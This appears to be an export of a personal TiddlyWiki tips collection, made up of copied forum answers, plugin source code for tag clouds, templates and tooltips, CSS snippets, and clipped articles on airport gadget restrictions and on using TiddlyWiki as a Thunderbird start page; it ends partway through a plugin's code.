<<tiddlerList  tags:twtips-ts order:-created top:100 itemTemplate:"''__%created__''\n%link\n%abstract\n----\n">>
place the table in a CSS class wrapper that starts on the same line as
the numbered bullet item, like this:

# step 1, enter the following values: {{div{
|!name|!value|
|key1|value1|
|key2|value2|
}}} 

Source: [[Table nested in a numbered list - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/ca6a9fc1ce7bb277#]]
The forEachTiddler ... you paste into the tiddler where you want
the list displayed.

> 2. Could I have a) one button called 'SortByCreationDate' that would
> show the x last created Tiddlers sorted from newest to oldest created
> and b) another button called 'SortByModifDate' that would show the
> last modified Tiddlers sorted from newest to oldest modified?

With NestedSliderPlugin and ForEachTiddlrPlugin installed, paste the
following in a tiddler:


+++(chkbycreation)*[Sort By Creation Date|show tiddler sorted by
creation date]...
 <<forEachTiddler
 where 'tiddler.tags.contains("thistag") &&
 ! tiddler.tags.contains("notthistag") &&
 ! tiddler.tags.contains("=completed")'
 sortBy 'tiddler.created'
 write "'[['+tiddler.title+'|'+tiddler.title+']]\n'">>===

+++(chkbymodification)*[Sort By Modification Date|show tiddler sorted
by modification date]...
 <<forEachTiddler
 where 'tiddler.tags.contains("thistag") &&
 ! tiddler.tags.contains("notthistag") &&
 ! tiddler.tags.contains("=completed")'
 sortBy 'tiddler.modified'
 write "'[['+tiddler.title+'|'+tiddler.title+']]\n'">>===

For documentation of what each part of these script are there for,
refer to the original plugins documentation found with the following
links:

http://www.tiddlytools.com/#NestedSlidersPlugin
http://tiddlywiki.abego-software.de/#ForEachTiddlerPlugin

Regards,

W.

Source: [[Creating an automatic table of content in TiddlySnip? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/bd138b7622b4b533]]
 @@color:#C06;''&raquo; &raquo;'' @@ ''Click on the tabs above to view''
----
 @@color:#C06;''&raquo; &raquo;'' @@ ''Click on the tabs above to view''
----
*''AllTabs''  @@color:#C06;''&raquo; &raquo;'' @@ All tabs in alphabetical order
*''[[History]]''  @@color:#C06;''&raquo; &raquo;'' @@ Tabs with history of activity in reverse date order
* [[SystemTabs]] @@color:#C06;''&raquo; &raquo;'' @@ Tabs with reserved names (can be 'on top' appended but not changed)
*[[Programs]]  @@color:#C06;''&raquo; &raquo;'' @@  Tabs containing programs written in ~JavaScript (if tagged as systemConfig begin running a startup.)
*[[Styling]]  @@color:#C06;''&raquo; &raquo;'' @@ Tabs containing CSS styling code (controls layout and visual style)
*ExcludedFromSearches  @@color:#C06;''&raquo; &raquo;'' @@ Tabs not required (or desired) in searches
*ExcludedFromLists  @@color:#C06;''&raquo; &raquo;'' @@ Tabs not required (or desired) in lists
I don't know if this will do the trick - but I use it with new Here
macro - and it works fine:
{{{
If you want the new tiddler to be named after the tiddler from which
you invoked it + suffix - You *might* be able to do it like this:
title:{{tiddler.title+"suffix"}}

Here's my newHere button:

<span class macro='newHere label: SomeLabel title:{{tiddler.title
+"suffix"}} tag: {{tiddler.title}} AnotherTag text: "SomeText" ' </
span>

It *might* work with newTiddlerWithForm macro
like this:
<<newTiddlerWithForm SomeTemplate "ButtonLabel" title:{{tiddler.title
+"suffix"}} tag: {{tiddler.title}} AnotherTag text: "SomeText">>

Btw - I think you could make a newHere button with the formTemplate
embedded in the textarea like this:

<<newHere label: SomeLabel title:{{tiddler.title+"suffix"}} tag:
{{tiddler.title}} AnotherTag text:{{"<<formTiddler SomeTemplate\>\>"}}
Again - I'm not sure - But maybe it's worth to try...
}}}
Regards Måns Mårtensson 

Source: [[Tag new tiddler when using newTiddlerWithForm macro - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/27e8ee79e6e73374#]]
<<tagCloud  TiddlySnip>>
/***
!!!<<gradient horiz #fc3 #fff >><<tiddler RefreshStyles>>&nbsp;TagCloudCSS>>/%==================================================%/
***/

/*{{{*/

.tagCloud span{height: 3.5em; margin: 10px; padding: 10px; width: 300px;}
.tagCloud1 {font-size: 100%; font-weight: bold; padding-left: 10px; color: #8800ee;}
.tagCloud2 {font-size: 100%; font-weight: bold; padding-left: 10px; color: #3355ff;}
.tagCloud3 {font-size: 100%; font-weight: bold; padding-left: 10px; color: #33bb00;}
.tagCloud4{font-size: 120%; font-weight: bold; padding-left: 10px; color: #ff9900;}
.tagCloud5{font-size: 160%; font-weight: bold; padding-left: 10px; color: #ff5511;}
.tagCloud6{font-size: 200%; font-weight: bold; padding-left: 10px; color: #ff3300;} 

/*}}}*/
/***
|Name|TagCloudPlugin|
|Source|http://www.TiddlyTools.com/#TagCloudPlugin|
|Version|1.2.0|
|Author|Eric Shulman|
|Original Author|Clint Checketts|
|License|unknown|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|present a 'cloud' of tags using proportional font display|
!Usage
<<<
{{{<<tagCloud>>}}}
> show all tags in the document
{{{<<tagCloud tag tag tag...>>}}}
> show all tags except those listed as parameters
{{{<<tagCloud =tagvalue>>}}}
> show only tags that are themselves tagged with the indicated tag value (i.e., ~TagglyTagging usage)
<<<
!Examples
<<<
{{{<<tagCloud>>}}}
<<tagCloud>>
----
{{{<<tagCloud =package>>}}}
<<tagCloud =package>>
<<<
!Revisions
<<<
2008.09.05 [1.2.0] ELS: added '=tagname' parameter to include only tags that are themselves tagged with the specified value (i.e., ~TagglyTagging usage)
2008.07.03 [1.1.0] ELS: added 'segments' property to macro object.  Extensive code cleanup
<<<
!Code
***/
//{{{
version.extensions.tagCloud = {major: 1, minor: 2 , revision: 0, date: new Date(2008,9,5)};
//Created by Clint Checketts, contributions by Jonny Leroy and Eric Shulman

config.shadowTiddlers.TagCloud="<<tagCloud>>";

setStylesheet("\
	.tagCloud span{height: 3.5em;margin: 3px;}\
	.tagCloud1{font-size: 80%;}\
	.tagCloud2{font-size: 100%;}\
	.tagCloud3{font-size: 120%;}\
	.tagCloud4{font-size: 150%;}\
	.tagCloud5{font-size: 180%;}\
	.tagCloud6{font-size: 200%;}\
	",
	"tagCloudsStyles");

config.macros.tagCloud = {
	noTags: "No tag cloud created because there are no tags.",
	tooltip: "%1 tiddlers tagged with '%0'",
	segments: 5,
	handler: function(place,macroName,params) {

		var tags=store.getTags();

		if (params.length) {
			if (params[0].substr(0,1)=="=") {
				// include only specifically tagged tags
				var tagged=store.getTaggedTiddlers(params[0].substr(1));
				for (var t=0; t<tagged.length; t++)
					tagged[t]=tagged[t].title;
				for (var t=0; t<tags.length; t++)
					if (!tagged.contains(tags[t][0])) tags[t][0]="";
			} else {
				// include all tags except those listed as params
				for (var t=0; t<tags.length; t++)
					if (params.contains(tags[t][0])) tags[t][0]="";
			}
		}

		// get maximum number of tags to calculate tagCloud segment sizes
		var mostTags=0;
		for (var t=0; t<tags.length; t++) if (tags[t][0].length > 0)
			if (tags[t][1]>mostTags) mostTags=tags[t][1];
		var tagSegment=mostTags/config.macros.tagCloud.segments;

		// output
		var tagCloudWrapper = createTiddlyElement(place,"div",null,"tagCloud",null);
		if(!tags.length)
			createTiddlyElement(tagCloudWrapper,"span",null,null,this.noTags);
		else for (var t=0; t<tags.length; t++) if (tags[t][0].length > 0){
			tagCloudWrapper.appendChild(document.createTextNode(" "));
			var theTag = createTiddlyButton(tagCloudWrapper,
				tags[t][0],this.tooltip.format(tags[t]),onClickTag,
				"tagCloudtag tagCloud" + (Math.round(tags[t][1]/tagSegment)+1));
			theTag.setAttribute("tag",tags[t][0]);
		}
	}
};
//}}}
> I've started working on a plugin that will grab tiddlers that match a
> tag, and then grab the slices out of them and format per a format
> string (typically into a table). It occurs to me that maybe this
> already exists. Is there a plugin like this already out there?

You can do this very easily using
   http://www.TiddlyTools.com/#InlineJavascriptPlugin
{{{
<script>
   var out=[];
   var fmt='|%0|%1|%2|';
   var tids=store.getTaggedTiddlers('someTag');
   for (var i=0; i<tids.length; i++) { var t=tids[i].title;
      var val1=store.getTiddlerSlice(t,'SomeSlice1')
      var val2=store.getTiddlerSlice(t,'SomeSlice2')
      var val3=store.getTiddlerSlice(t,'SomeSlice3')
      out.push(fmt.format([val1,val2,val3]));
   }
   return out.join('\n');
</script> 
}}}
Source: [[Tagged Slices to formatted text plugin? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e3213b16a3c039ba/66a9db52bda6520d#66a9db52bda6520d]]
> I've started working on a plugin that will grab tiddlers that match a
> tag, and then grab the slices out of them and format per a format
> string (typically into a table). It occurs to me that maybe this
> already exists. Is there a plugin like this already out there?

You can do this very easily using
   http://www.TiddlyTools.com/#InlineJavascriptPlugin
{{{
<script>
   var out=[];
   var fmt='|%0|%1|%2|';
   var tids=store.getTaggedTiddlers('someTag');
   for (var i=0; i<tids.length; i++) { var t=tids[i].title;
      var val1=store.getTiddlerSlice(t,'SomeSlice1')
      var val2=store.getTiddlerSlice(t,'SomeSlice2')
      var val3=store.getTiddlerSlice(t,'SomeSlice3')
      out.push(fmt.format([val1,val2,val3]));
   }
   return out.join('\n');
</script> 
}}}
Source: [[Tagged Slices to formatted text plugin? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e3213b16a3c039ba]]
/***
|Name|TaggedTemplateTweak|
|Source|http://www.TiddlyTools.com/#TaggedTemplateTweak|
|Documentation|http://www.TiddlyTools.com/#TaggedTemplateTweakInfo|
|Version|1.2.5|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides|Story.prototype.chooseTemplateForTiddler()|
|Description|use alternative ViewTemplate/EditTemplate for tiddler's tagged with specific tag values|
This tweak extends story.chooseTemplateForTiddler() so that ''whenever a tiddler is marked with a specific tag value, it can be viewed and/or edited using alternatives to the standard tiddler templates.'' 
!!!!!Documentation
>see [[TaggedTemplateTweakInfo]]
!!!!!Revisions
<<<
2008.05.01 [1.2.5] added support for tagged templates stored as sections in a theme
| please see [[TaggedTemplateTweakInfo]] for previous revision details |
2007.06.11 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.taggedTemplate= {major: 1, minor: 2, revision: 0, date: new Date(2008,4,1)};
Story.prototype.taggedTemplate_chooseTemplateForTiddler = Story.prototype.chooseTemplateForTiddler
Story.prototype.chooseTemplateForTiddler = function(title,template)
{
	// get default template from core
	var template=this.taggedTemplate_chooseTemplateForTiddler.apply(this,arguments);

	// split core template into theme prefix and template name
	var parts=template.split(config.textPrimitives.sectionSeparator);
	var coreTheme=parts[0]; var coreTemplate=parts[1]

	// current selected theme
	var currTheme=config.options.txtTheme+config.textPrimitives.sectionSeparator;

	// if the tiddler to be rendered doesn't exist yet, just return core result
	var tiddler=store.getTiddler(title); if (!tiddler) return template;

	// look for template whose prefix matches a tag on this tiddler
	for (i=0; i<tiddler.tags.length; i++) {
		var t=tiddler.tags[i]+coreTemplate; // add tag prefix to coreTemplate
		var c=t.substr(0,1).toUpperCase()+t.substr(1); // capitalized for WikiWord title
		if (store.getTiddlerText(coreTheme+t))	{ template=coreTheme+t; break; } // CoreTheme##tagTemplate
		if (store.getTiddlerText(coreTheme+c))	{ template=coreTheme+c; break; } // CoreTheme##TagTemplate
		if (store.getTiddlerText(currTheme+t))	{ template=currTheme+t; break; } // CurrTheme##tagTemplate
		if (store.getTiddlerText(currTheme+c))	{ template=currTheme+c; break; } // CurrTheme##TagTemplate
		if (store.tiddlerExists(t)) 		{ template=t; break; }		 // tagTemplate
		if (store.tiddlerExists(c))		{ template=c; break; }		 // TagTemplate
	}
	return template;
}
//}}}
You could assign a custom class to the various custom ViewTemplates'
wrapper element (e.g. viewer). Then your StyleSheet could work like this:
{{{
     .customViewTeamplate1 h1 {
         /* ... */
     }
     .customViewTeamplate2 a {
         /* ... */
     }

> - include this/these customstylesheets into the 'main stylesheet'

Simply include them as a PrettyLink at the bottom of the StyleSheet:
     /* ... */
     [[CustomStyleSheet1]]
     [[CustomStyleSheet2]]

> to style one element in a variety of ways [...]  i'd
> have to use a new wrapper with every template so as to make a
> difference between .viewer and let's say .something.viewer

You can assign more than one class to the viewer element:
     <div class="viewer .customViewTeamplate1"> ... </div> 
}}}
Source: [[TaggedTemplateTweak and some more styling questions - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b93d2a3a3dfdc636]]
{{{<<tag tagname>>}}} macro when incorporated in the MainMenu Tiddler makes the triangle for opening the popup list of tiddlers under this tag
appear as a separate menu item, whereas I would like it to be on the
same line as the text of the menu item with the name of the tag.
I have traced the source of this as far as QuickOpenTagPlugin, but
cannot get further. Would be grateful for any help in solving this.

There was a similar ugliness when combining
QuickOpenTagsPlugin and TaggerPlugin in taggers tags dropdown. It was
solved with this little addition to the style sheet of MptwTheme:
{{{
.popup li .tagger a {
   display:inline;

} 
}}}
Source: [[Getting MPTW theme to work with Lewcid's Mocha theme - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/382005ef4990c40c]]
I solved 2) by adding this to my stylesheet:
|{{{ .viewer { float:left !important; } }}}|

Source: [[Tagging as a horizontal list - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/436ddeae8f15aa8c]]
I am working on a study project for which I need to record the hours
that I work. I am trying to store these "timesheet" records in my
wiki . I have set up a template tiddler containing a form with three
fields: Date, Hours, and Topic. I wish to have a macro button that
enables me to create new timesheet records. I have tried three ways of
doing this. I have added Udo's plugin, http://tiddlywiki.abego-software.de/#FormTiddlerPlugin,

{{{
and used <<newTiddler>> with <<formTiddler>>,  and used
<<newTiddlerWithForm>>.  I have also tried http://zaptest.tiddlyspot.com/#NewSavedTiddlerPlugin
and the <<newSavedTiddler>> macro. 
}}}
Source: [[Tagging tiddlers created with newTiddlerWithForm - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/fd95a11104eb8e9b]]
http://zaptest.tiddlyspot.com/#NewSavedTiddlerPlugin
Worth a look*****
{{threecolumns{
<<tiddler TabTags>>
}}}
> I've not been playing around with TiddlyWiki long but there is
> something specific I'd like to do and I can't find out how I would go
> about getting it working.  What I'd like is for some tags to appear in
> the main menu so that whenever I clicked on one it would bring up all
> the tiddlers with that tag.  Is this possible?

The TW core macro, <<tag tagValue>>, will insert a link that, when
clicked will show a popup list of all tiddlers tagged with the
indicated value.  One of the items in that list is "open all".

Alternatively, you could install this script:
   http://www.TiddlyTools.com/#OpenTaggedTiddlers
   (requires http://www.TiddlyTools.com/#InlineJavascriptPlugin)
which is used like this:
   {{{<<tiddler OpenTaggedTiddlers with: "label" "tagToMatch">>}}}
   (see script source for documentation) 

Source: [[Tags in the Main Menu - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/5f1a906f6efe4319#]]
> What I would find very useful is if there was some way to implement
> globbing (http://en.wikipedia.org/wiki/Glob_%28programming%29) in
> the matching process so that matches between tiddler titles and tags
> would not have to be EXACT.  For instance, a tiddler titled "reports-
> march-*" might match all tiddlers with a tag that starts with "reports-
> march-", like ""reports-march-03" and ""reports-march-09".

The core's <<list filter [tag[tagvalue]]>> function generates lists of
tagged tiddlers but, as you noted, only does exact matches of a single
tag value...

Fortunately, I've written:
   http://www.TiddlyTools.com/#MatchTagsPlugin

to extend the core's store.filterTiddlers() function (and a few other
bits and pieces) so that you can use full boolean syntax ("and", "or",
"not", with nested parens as needed) to join tag terms together into
complex conditionals:

{{{<<list filter [tag[foo and bar or (baz and mumble) or not gronk]]>>}}}

In addition, the individual tag 'terms' can be regular expresions text
patterns
(see http://www.TiddlyTools.com/faq.html#FAQ_RegularExpressions for
syntax)

Thus, it becomes trivial to 'glob' a list of tagged tiddlers, like
this:
{{{
   <<list filter [tag[reports-march-.*]]>>
or perhaps even something selective like:
   <<list filter [tag[reports-(march|april|may)-.*]]>>
}}}
enjoy,
-e
Eric Shulman 

Source: [[Tags with globbing? - TiddlyWikiDev : Google Groups|http://groups.google.com/group/TiddlyWikiDev/browse_thread/thread/1c7529217ae221fd]]
|Default|mystuff|
|BookmarkList|bookmark|
|BrowserTipsList|browser-ts|
|CSSList|css-ts|
|HTMLList|html-ts|
|JavaScriptList|javascript-ts|
|MacrosList|macro-ts|
|PluginsList|plugin-ts|
|TWLinksList|twlinks-ts|
|TSDevelopmentList|tsdev|
|VistaTips|vista|
	 More options Jun 26, 1:40 am
From: Eric Shulman <elsdes...@gmail.com>
Date: Wed, 25 Jun 2008 08:40:36 -0700 (PDT)
Local: Thurs, Jun 26 2008 1:40 am
Subject: Re: How reference specific tab in a tiddler?
Reply | Reply to author | Forward | Print | Individual message | Show original | Report this message | Find messages by this author

> Yes, that was my intention. I was hoping for something along the lines
> of a link "[[A:referencelabel:tabA1]]" (ie. referencelabel being the
> label specified in the macro).

The 'tabset ID' (which you call a 'referencelabel') is used to track
the current opened tab within a given tabset, by saving the text of
the currently displayed tab (e.g., "TabA1", "TabA2", etc.) using a
core config.options.* internal variable.

For example, if you write:
{{{
  <<tabs someID "tab A" "..." [[TiddlerA]] "tab B"
"..." [[TiddlerB]]>>
}}}
  <<tabs someID "tab A" "..." [[TiddlerA]] "tab B"
"..." [[TiddlerB]]>>
The current tab text ("tab A" or "tab B") will be stored in
   config.options.someID

Note: if the ID begins with "txt" (e.g., "txtSomeID"), it is
automatically saved as a cookie value in addition to being tracked
internally, so that the last opened tab is always redisplayed whenever
that tiddler is opened.

Normally, this tracking value is only set when you actually click on a
tab.  However, you could use HTML syntax to construct a special link
that sets this value as part of the 'onclick' handler for the link, so
that when the tiddler containing the tabset is displayed, the desired
tab is opened, like this:
{{{
<html><a href='javascript:;' onclick='config.options.tabID="some tab";
story.displayTiddler(story.findContainingTiddler(this),"SomeTiddler");
story.refreshTiddler("SomeTiddler",null,true);'>SomeTiddler</a></html>
}}}
(note: omit all newlines from the above... it should be *one* line
only)

The first statement of the onclick handler sets the desired tab in the
internal core variable, and the second statement opens the tiddler
containing the tabset.  If the tiddler was *not* previously displayed,
that is all you need.  However, if the tiddler *was* already being
displayed, then you must also ensure that tiddler is re-rendered so
the correct tab will be shown.  That is what the third statement does.

Also, to make it much easier to repeatedly embed the above syntax, you
can use
   http://www.TiddlyTools.com/#AliasPlugin
to define an 'instant macro':
{{{
<<alias tabLink [[<html><a href='javascript:;' onclick='config.options.
%1="%2"; story.displayTiddler(story.findContainingTiddler(this),"%0");
story.refreshTiddler("%0",null,true);'>%0</a></html>]]>>
}}}
which you can then use like this:
{{{
<<tabLink "SomeTiddler" "someLabel" "some tab">> 
}}}
Source: [[How reference specific tab in a tiddler? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/4f7b952f69b523a2]]
/***
|''Name:''|TemplateFormatterPlugin|
|''Author:''|Martin Budden ( mjbudden [at] gmail [dot] com)|
|''Description:''|Plug to demonstrate template formatter|
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/MartinBudden/experimental/TemplateFormatterPlugin.js |
|''Version:''|0.0.3|
|''Date:''|Mar 19, 2008|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev |
|''License:''|[[Creative Commons Attribution-ShareAlike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]] |
|''~CoreVersion:''|2.3.0|

!!Description
Provides a formatter that can be used to expand templates

!!Usage
Then include this plugin and tag it systemConfig in the normal way. Templates can include:
{{{
<!--<<macroname macroparameters>>--> : macro that is expanded into the template
<!--comment--> : comment that is included in the output
<!--@@comment@@-->> : comment that is not included in the output (can be used to document the template itself)
}}}

***/

//{{{
//# Ensure that the plugin is only installed once.
if(!version.extensions.TemplateFormatterPlugin) {
version.extensions.TemplateFormatterPlugin = {installed:true};

config.templateFormatters = [
{
	name: 'templateElement',
	match: '<!--(?:<<|@@)',
	lookaheadRegExp: /<!--<<([^>\s]+)(?:\s*)((?:[^>]|(?:>(?!>)))*)>>-->|<!--@@([^@]*)@@-->/mg,
	handler: function(w)
	{
		this.lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			w.nextMatch = this.lookaheadRegExp.lastIndex;
			if(lookaheadMatch[1]) {
				invokeMacro(w.output,lookaheadMatch[1],lookaheadMatch[2],w,w.tiddler);
			}
		}
	}
}
];

config.parsers.templateFormatter = new Formatter(config.templateFormatters);
config.parsers.templateFormatter.format = 'template';
config.parsers.templateFormatter.formatTag = 'TemplateFormat';
} //# end of 'install only once'
//}}}
This is a test 
<<tiddlerList top:"225" group:"tiddler.title.substr(0,1)" groupTemplate:"''%group''">>
|[search[click here to search for Help|Help]] @@color:#C06;''&raquo;'' @@{{twLink{<<slider " " "SearchOptions" "search in" "choose titles/text/tags" >>}}}|
|borderlessL|k
[[The Elder Geek on Windows Vista Home|http://www.theeldergeekvista.com/index.htm]]
Our favourite electronic devices are suddenly facing a very uncertain future on international flights under new security measures being introduced into airports in Britain and the US.

In response to recent revelations of a suspected bomb plot targeting some UK flights travelling to the US, transport and security agencies in both countries have issued strict new guidelines, which international airlines such as Qantas must observe.

The UK has already banned all electronic devices such as MP3 players, mobile phones and laptops from hand luggage on all flights departing from the country, while the US has taken the more conservative step of only banning liquids, gels and beverages from in and outgoing flights.

However, given the nature of the threat uncovered by British security agents, which is believed to involve liquid explosives that could be triggered by an electronic signal, tight restrictions for carry-on luggage might spread far beyond UK borders, said an Australian security expert.

"The vast majority of international carriers are making some moves at a variety of levels, and we will probably end up with a mix of permitted electronic items depending on the airline, and a core group of forbidden devices," said Andrew Walls, principal analyst for IT security consultant, Cybertrust.

The restrictions stem from the fear that suspected bombers had discovered new ways to evade airport security, with electronic devices playing an important role.

A senior congressional source told CNN that the plot was believed to hinge on mixing an energy drink with a gel-like substance inflight to create a potent explosive capable of being ignited by an MP3 player or mobile phone.

Mr Walls said although the bans were linked to a specific suspected threat, this was no guarantee that security arrangements would revert back to their previous state in the short term.

"My experience is that once that something is placed on restricted list in the US - even if the threat is fictitious - it could take a minimum of three to five years for that object to be removed from the list," he said.

He said the new measures were likely to bring considerable disruption and security concern to business travellers who were accustomed to carrying laptops and PDAs in hand luggage.

Shipping expensive devices in cabin luggage is believed to substantially add to the risk of such items being stolen or damaged, and could even involve loss of critical or confidential data.

"This will be an immediate concern for those travelling in and out of the UK who may be wondering how to secure their devices, but there are a number of measures they can take," he said.

Suggested measures for travellers:

1. Do not check in what is obviously a laptop bag. Instead bury your laptop and other devices in another bag with adequate padding.

2. Remove all the data from your hard drive not deemed essential for your trip. The removed data can be carried on your person on a CD or USB stick if it is required at your destination.

3. Get insurance that will cover the loss of expensive devices should they go missing with the rest of your luggage and maintain a list of serial numbers and product specifications.

4. Explore the various methods of authenticating and encrypting data as well as methods of physically securing hardware devices (especially laptops) so they either lock down or call home in the event that they

Source: [[The end for carry-on gadgets? - Laptops & Desktops - Gadgets - Technology|http://www.smh.com.au/news/laptops--desktops/is-this-the-end-for-carryon-gadgets/2006/08/11/1154803077253.html]]
The map function I will present is the most useful map function you'll find. Why? Because it can replace most for loops! And replacing for loops will produce much cleaner JavaScript code. 

Source: [[The extended map function - amix blog|http://amix.dk/blog/viewEntry/19149]]
Tiddler: SampleTheme

|''Name''|SampleTheme|
|''Description''|a sample theme|

!Author Mode
|PageTemplate|PageTemplate|
|ViewTemplate|ViewTemplate|
|EditTemplate|EditTemplate|
|StyleSheet|StyleSheet|
|ColorPalette|ColorPalette|

!Read-Only Mode
|PageTemplateReadOnly|PageTemplate|
|ViewTemplateReadOnly|ViewTemplate|
|EditTemplateReadOnly|EditTemplate|
|StyleSheetReadOnly|##StyleSheet|
|ColorPalette|ColorPalette|

!StyleSheet
/*{{{*/
{{{
#sidebarTabs {
	display: none;
}
}}}
/*}}}*/

Source: [[Themes - TiddlyWiki.org|http://www.tiddlywiki.org/wiki/Themes#Creating_Themes]]
http://www.mozilla-enigmail.org/
http://www.onmyweb.net/readmyemail.htm
http://www.mozilla.org/support/thunderbird/
file:///H:/SideSnip/sidesnips-try.html

{{borderless{
|vertical-align:bottom;<<toolbar fullscreen>>|<<tiddler NavButtons>>|vertical-align:bottom;[[Open in a new window|http://www.onmyweb.net/readmyemail.htm]]&nbsp;&raquo;|
----
<html><div align="center"><iframe  src ="http://www.onmyweb.net/readmyemail.htm" width="100%" align="center" height="600" scrolling="auto" frameborder="0" allowtransparency style="border:none;"></iframe></div></html>}}}
Make your Thunderbird start page a wiki
By Dmitri Popov on September 13, 2007 (9:00:00 PM)

http://www.linux.com/feature/119107

Every time you launch Thunderbird, you are greeted by a generic start page (unless you've turned that option off). Most of us don't pay much attention to it and navigate straight to the Inbox without giving it a second thought. The start screen is just a simple HTML page, which Thunderbird fetches from the address specified in the application's preferences. Knowing that, you can replace it with something more useful, such as the URL of your Web site or blog -- or you can take it a step further and turn the start screen into a tool that can help to manage your ideas, notes, to-do lists, and more.

Doing this, and also adding extensions like Lightning and Sync Kolab, can transform Thunderbird from a humble email client to a powerful productivity tool.

If this idea makes sense to you, then you'll be pleased to know that this is not only doable, but also easy to implement, courtesy of TiddlyWiki. The entire TiddlyWiki consists of just one HTML file, which includes CSS and JavaScript codes, and everything you enter in the wiki is stored inside this file as well. TiddlyWiki also does away with separate pages, and instead uses so-called tiddlers -- text fragments stored in the wiki file that you can show and hide. You can also add new paragraphs, delete and modify existing ones, tag them, and shuffle them as you see it fit. This makes TiddlyWiki a useful tool for managing your text fragments in a non-linear manner; and with a bit of tweaking you can do this directly from within Thunderbird.

[Click to enlarge] Click to enlarge First of all, you have to download the latest version of TiddlyWiki and save it somewhere on your local hard disk (your home directory is a good choice). Rename the downloaded file called empty.html to something more meaningful, such as tiddlywiki.html.

Next, launch Thunderbird and choose Edit -> Preferences and click on the General Tab. Make sure that the "When the Thunderbird launches" check box is ticked, and type the path to the tiddlywiki.html file. It should look something like this: file:///home/user/tiddlywiki.html (where "user" is your user name).

When you restart Thunderbird, you'll most likely get an error message that starts with "This page requires JavaScript to function properly." This happens because JavaScript is turned off in Thunderbird by default -- for good reason. It prevents execution of (malicious) JavaScript code that might be embedded into HTML-formatted email messages. Once you've turned this option on, you have to be even more careful with HTML messages arriving in your inbox. To change the setting, click on the Advanced tab in the Preferences window and press the Config Editor button. This opens the about:config window, which contains all Thunderbird's configuration options. Type "javascript" sans quotes in the Filter field, and double-click on the javascript.allow.mailnews option to set its value to true.

Now, restart Thunderbird, and you will be greeted by TiddlyWiki, and you can start filling it up with content. When you navigate away from the start page, you can always get back to it by choosing Go -> Mail Start Page.
Dmitri Popov is a freelance writer whose articles have appeared in Russian, British, US, German, and Danish computer

http://www.linux.com/feature/119107
As an alternative method for organizing tiddler-specific styles, instead of adding the respective CSS code to StyleSheet, these styles could also be defined directly within the respective tiddler:
{{{
<html>
<style type="text/css">
.className {
	font-size: 1.2em;
}
</style>
</html>
}}}
Source: [[Tiddler-Specific Styles - TiddlyWiki.org|http://www.tiddlywiki.org/wiki/Tiddler-Specific_Styles]]
/***
| Name:|TiddlerExcerptTooltip|
| Source:|http://simonbaird.com/mptw/#TiddlerExcerptTooltip|
| Author:|Simon Baird, adapted from original version posted to mailing list by Udo Borkowski|
| Version:|1.0.0|
| Description:|Make tooltip of tiddler links the first line or excerpt of the tiddler content|
***/
//{{{

// adjust the following to your preference
config.TiddlerExcerptTooltip = {
	trimLength: 100,
	dateFormat:"DD-MM-YY"
}

// %0 is title
// %1 is modifier
// %2 is modified date
// %3 is first line
// %4 is first so many characters
// %5 is short modified date
// %6 is short created date

// firefox seems to trim the tooltip if it gets too long...
config.messages.tiddlerLinkTooltip = "%4";

config.messages.tiddlerEmpty = "(empty)";

Tiddler.prototype.getSubtitle = function()
{
	var theModifier = this.modifier;
	if(!theModifier)
		theModifier = config.messages.subtitleUnknown;
	var theModified = this.modified;
	if(theModified)
		theModified = theModified.toLocaleString();
	else
		theModified = config.messages.subtitleUnknown;

	var m = this.text.match(/\s*(.*)/);
	var firstLine = (m != null && m.length >= 1) ? m[1] : "";

	var contentExcerpt = this.text.prettyTrim(config.TiddlerExcerptTooltip.trimLength);
	if (contentExcerpt == "")
		contentExcerpt = config.messages.tiddlerEmpty;

	var shortModified = this.modified.formatString(config.TiddlerExcerptTooltip.dateFormat);
	var shortCreated = this.created.formatString(config.TiddlerExcerptTooltip.dateFormat);


	return config.messages.tiddlerLinkTooltip.format(
		[this.title,theModifier,theModified,firstLine,contentExcerpt,shortModified,shortCreated]);  
}

// this lifted from TagUtils
String.prototype.prettyTrim = function(len,prefix,postfix) {
	var result = this.trim().replace(/\r\n/g,' ').replace(/[\n|\t]/g,' ');
	if (result.length > len - 3)
		return result.trim().substr(0,len) + '...';
	else
		return result;
}

//}}}
/***
|''Name:''|TiddlerListMacro|
|''Version:''|2.3 (8-Jan-2008)|
|''Source''|http://jackparke.googlepages.com/jtw.html#TiddlerListMacro ([[del.icio.us|http://del.icio.us/post?url=http://jackparke.googlepages.com/jtw.html%23TiddlerListMacro]])|
|''Author:''|[[Jack]]|
|''Type:''|Macro|
|''Documentation:''|[[TiddlerListMacroDocumentation]]|
!Usage
{{{<<tiddlerList parameter1:"value1" parameter2:"value2" ...>>}}}
See TiddlerListMacroDocumentation and TiddlerListMacroExamples
!Code
***/
//{{{
version.extensions.tiddlerList = {major: 2, minor: 3, revision: 0, date: new Date("Jan 08, 2008")};
// template = [header, item, separator, group, footer]
config.macros.tiddlerList={
 formats : {list:true, nlist:true, span:true, stack:true, csv:true, table:true},
 templates : {
